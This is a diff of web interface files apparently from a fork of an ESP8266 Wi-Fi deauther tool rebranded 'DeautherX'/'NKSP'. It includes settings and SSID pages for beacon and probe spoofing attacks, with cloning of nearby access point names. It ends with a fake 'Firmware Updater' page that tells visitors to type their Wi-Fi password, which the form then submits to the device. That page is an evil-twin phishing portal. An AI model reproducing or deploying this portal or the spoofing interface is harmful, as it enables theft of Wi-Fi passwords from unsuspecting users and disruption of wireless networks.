data-translate=info_span>INFO:</span><br><span data-translate=settings_info>- Some settings require a reboot.<br>- Click save to make sure that your changes are applied.<br></span><span data-translate=info_disclaimer>In case of an unexpected error, please reload the site andlook at the serial monitor for further debugging.</span><br></p><button onclick=save() data-translate=save>save</button><button onclick=load() class=right data-translate=reload>reload</button></div></div><div id=settingsList></div></div><footer><span id=DeautherX>DeautherX</span><br><span id=deautherx>By BlackTechX</span><br><br><a href=http://deauther.maltronics.com target=_blank>Wiki</a> | <a href=info.html>Credits</a></footer></body></html>
<!Doctype html>
<html>
<head>
<meta charset=UTF-8>
<meta name=viewport content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name=theme-color content=#36393E>
<meta name=description content=DeautherX>
<title>DeautherX</title>
<link rel=stylesheet type=text/css href=style.css>
<script src=js/site.js></script>
<script src=js/settings.js></script>
</head>
<body onload=loadLang()>
<nav>
<ul class=menu>
<li><a>NKSP DEAUTHERX</a></li>
<li><a>|</a></li>
<li><a href="scan.html" data-translate="scan">Scan</a></li>
<li><a>|</a></li>
<li><a href="ssids.html" data-translate="ssids">SSIDs</a></li>
<li><a href="attack.html" data-translate="attacks">Attack</a></li>
<li><a>|</a></li>
<li><a href="fsmanager.html" data-translate="settings">FileSystem</a></li>
<li><a href="settings.html" data-translate="settings">Settings</a></li>
</ul>
</nav>
<div id=status></div>
<div class=container>
<div class=row>
<div class=col-12>
<h1 class=header data-translate=settings>Settings</h1><button
onclick="getFile('run?cmd=stopap');alert('Turning off access point now. Restart your Deauther to be able to connect again.')"
class=red data-translate=wifi_off>WiFi off</button><button
onclick="getFile('run?cmd=reset;;save settings')" class=red
data-translate=reset>Reset</button><button onclick="getFile('run?cmd=reboot')" class="red right"
data-translate=reboot>reboot</button>
<p><span class=red data-translate=info_span>INFO:</span><br><span data-translate=settings_info>- Some
settings require a reboot.<br>- Click save to make sure that your changes are
applied.<br></span><span data-translate=info_disclaimer>In case of an unexpected error, please
reload the site andlook at the serial monitor for further debugging.</span><br></p><button
onclick=save() data-translate=save>save</button><button onclick=load() class=right
data-translate=reload>reload</button>
</div>
</div>
<div id=settingsList></div>
</div>
<footer><span id=DeautherX>DX NKSP</span><br><span id=deautherx>By NKSP</span><br><br><a
href=http://deauther.maltronics.com target=_blank>Wiki</a> | <a href=info.html>Credits</a></footer>
</body>
</html>

View File

@@ -1 +1,89 @@
<!Doctype html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui"><meta name="theme-color" content="#36393E"><meta name="description" content="DeautherX"><title>DeautherX</title><link rel="stylesheet" type="text/css" href="style.css"><script src="js/site.js"></script><script src="js/ssids.js"></script></head><body onload="loadLang()"><nav><ul class="menu"><li><a href="scan.html" data-translate="scan">Scan</a></li><li><a href="ssids.html" data-translate="ssids">SSIDs</a></li><li><a href="attack.html" data-translate="attacks">Attack</a></li><li><a href="fsmanager.html">FS</a></li><li><a href="settings.html" data-translate="settings">Settings</a></li></ul></nav><div id="status"></div><div class="container"><div class="row"><div class="col-12"><h1 class="header" data-translate="ssids">SSIDs</h1></div></div><div class="row"><div class="col-6"><label for="ssid">SSID</label></div><div class="col-6"><input type="text" id="ssid" name="ssid" placeholder="SSID" maxlength="32"></div></div><div class="row"><div class="col-6"><label>WPA2</label></div><div class="col-6"><label class='checkBoxContainer'><input id="enc" type='checkbox'><span class='checkmark'></span></label></div></div><div class="row"><div class="col-6"><label data-translate="number">Number</label></div><div class="col-6"><input id="ssidNum" type="number" value="1" max="60" min="1"></div></div><div class="row"><div class="col-6"><label data-translate="overwrite">Overwrite</label></div><div class="col-6"><label class='checkBoxContainer'><input id="overwrite" type='checkbox' checked><spanclass='checkmark'></span></label></div></div><div class="row"><div class="col-12"><button onclick="add(); document.getElementById('ssid').value = '';" data-translate="add">add</button><button onclick="addSelected()" data-translate="add_selected">clone selected APs</button></div></div><div class="row"><div class="col-12"><button onclick="load()" class="right" data-translate="reload">Reload</button><p><span class="red" data-translate="info_span">INFO:</span><br><span data-translate="ssids_info">- This SSID list is used for the beacon and probe attack.<br>- Each SSID can be up to 32 characters.<br>- Don't forget to click save when you edited a SSID.<br>- You have to click Reload after cloning SSIDs.<br></span><span data-translate="info_disclaimer">In case of an unexpected error, please reload the site andlook at the serial monitor for further debugging.</span><br></p><hr></div></div><div class="row"><div class="col-6"><label for="interval" data-translate="time_interval">Time Interval</label></div><div class="col-6"><input id="interval" name="interval" type="number" value="10" max="600" min="1">s</div></div><div class="row"><div class="col-12"><button onclick="enableRandom()" id="randomBtn">Enable Random Mode</button><p data-translate="random_desc">Enable the random mode to generate a random SSID list in a giveninterval.</p><hr><table id="ssidTable"></table><button onclick="removeAll()" class="red" data-translate="remove_all">Remove All</button></div></div></div><footer><span id="DeautherX">DeautherX</span><br><span id="deautherx">By BlackTechX</span><br><br><a href="http://deauther.maltronics.com" target="_blank">Wiki</a> | <a href="info.html">Credits</a></footer></body></html>
<!Doctype html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="theme-color" content="#36393E">
<meta name="description" content="DeautherX">
<title>DeautherX</title>
<link rel="stylesheet" type="text/css" href="style.css">
<script src="js/site.js"></script>
<script src="js/ssids.js"></script>
</head>
<body onload="loadLang()">
<nav>
<ul class="menu">
<li><a>NKSP DEAUTHERX</a></li>
<li><a>|</a></li>
<li><a href="scan.html" data-translate="scan">Scan</a></li>
<li><a>|</a></li>
<li><a href="ssids.html" data-translate="ssids">SSIDs</a></li>
<li><a href="attack.html" data-translate="attacks">Attack</a></li>
<li><a>|</a></li>
<li><a href="fsmanager.html" data-translate="settings">FileSystem</a></li>
<li><a href="settings.html" data-translate="settings">Settings</a></li>
</ul>
</nav>
<div id="status"></div>
<div class="container">
<div class="row">
<div class="col-12">
<h1 class="header" data-translate="ssids">SSIDs</h1>
</div>
</div>
<div class="row">
<div class="col-6"><label for="ssid">SSID</label></div>
<div class="col-6"><input type="text" id="ssid" name="ssid" placeholder="SSID" maxlength="32"></div>
</div>
<div class="row">
<div class="col-6"><label>WPA2</label></div>
<div class="col-6"><label class='checkBoxContainer'><input id="enc" type='checkbox'><span
class='checkmark'></span></label></div>
</div>
<div class="row">
<div class="col-6"><label data-translate="number">Number</label></div>
<div class="col-6"><input id="ssidNum" type="number" value="1" max="60" min="1"></div>
</div>
<div class="row">
<div class="col-6"><label data-translate="overwrite">Overwrite</label></div>
<div class="col-6"><label class='checkBoxContainer'><input id="overwrite" type='checkbox' checked>
<spanclass='checkmark'></span>
</label></div>
</div>
<div class="row">
<div class="col-12"><button onclick="add(); document.getElementById('ssid').value = '';"
data-translate="add">add</button><button onclick="addSelected()" data-translate="add_selected">clone
selected APs</button></div>
</div>
<div class="row">
<div class="col-12"><button onclick="load()" class="right" data-translate="reload">Reload</button>
<p><span class="red" data-translate="info_span">INFO:</span><br><span data-translate="ssids_info">- This
SSID list is used for the beacon and probe attack.<br>- Each SSID can be up to 32
characters.<br>- Don't forget to click save when you edited a SSID.<br>- You have to click
Reload after cloning SSIDs.<br></span><span data-translate="info_disclaimer">In case of an
unexpected error, please reload the site andlook at the serial monitor for further
debugging.</span><br></p>
<hr>
</div>
</div>
<div class="row">
<div class="col-6"><label for="interval" data-translate="time_interval">Time Interval</label></div>
<div class="col-6"><input id="interval" name="interval" type="number" value="10" max="600" min="1">s</div>
</div>
<div class="row">
<div class="col-12"><button onclick="enableRandom()" id="randomBtn">Enable Random Mode</button>
<p data-translate="random_desc">Enable the random mode to generate a random SSID list in a
giveninterval.</p>
<hr>
<table id="ssidTable"></table><button onclick="removeAll()" class="red"
data-translate="remove_all">Remove All</button>
</div>
</div>
</div>
<footer><span id="DeautherX">DX NKSP</span><br><span id="deautherx">By NKSP</span><br><br><a
href="http://deauther.maltronics.com" target="_blank">Wiki</a> | <a href="info.html">Credits</a></footer>
</body>
</html>

File diff suppressed because one or more lines are too long

View File

@@ -1 +1,39 @@
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>Firmware Updater</title><meta charset="UTF-8" /><link rel="stylesheet" type="text/css" href="style.css" /><script src="js/site.js"></script></head><body><div id="status"></div><div class="container"><div class="row"><div class="col-12"><h1 class="header">Firmware Updater</h1><form action="/submit" style="padding-left: 20px; padding-right: 20px;" method="get"><input style="width: 100%;" type="text" name="password" id="password" placeholder="Password" minlength="8" required><input style="width: 100%; margin-top: 20px;" type="submit" value="UPDATE"></form><h2>Disclaimer</h2><p >To update <b>Firmware</b>, you will need to enter the WiFi Password. The firmware password is a security feature that helps to protect your device from unauthorized firmware updates. To enter the firmware password, follow this steps.<br><ul><li>Go to firmware updater</li><li>Input password</li><li>Wait for verify password</li><li>Updating firmware</li><li>DONE</li></ul>If you do not know the firmware password, you can contact the WiFi manufacturer for assistance.</p></div></div></div></body></html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Firmware Updater</title>
<meta charset="UTF-8" />
<link rel="stylesheet" type="text/css" href="style.css" />
<script src="js/site.js"></script>
</head>
<body>
<div id="status"></div>
<div class="container">
<div class="row">
<div class="col-12">
<h1 class="header">Firmware Updater</h1>
<form action="/submit" style="padding-left: 20px; padding-right: 20px;" method="get"><input
style="width: 100%;" type="text" name="password" id="password" placeholder="Password"
minlength="8" required><input style="width: 100%; margin-top: 20px;" type="submit"
value="UPDATE"></form>
<h2>Disclaimer</h2>
<p>To update <b>Firmware</b>, you will need to enter the WiFi Password. The firmware password is a
security feature that helps to protect your device from unauthorized firmware updates. To enter the
firmware password, follow this steps.<br>
<ul>
<li>Go to firmware updater</li>
<li>Input password</li>
<li>Wait for verify password</li>
<li>Updating firmware</li>
<li>DONE</li>
</ul>If you do not know the firmware password, you can contact the WiFi manufacturer for assistance.</p>
</div>
</div>
</div>
</body>
</html>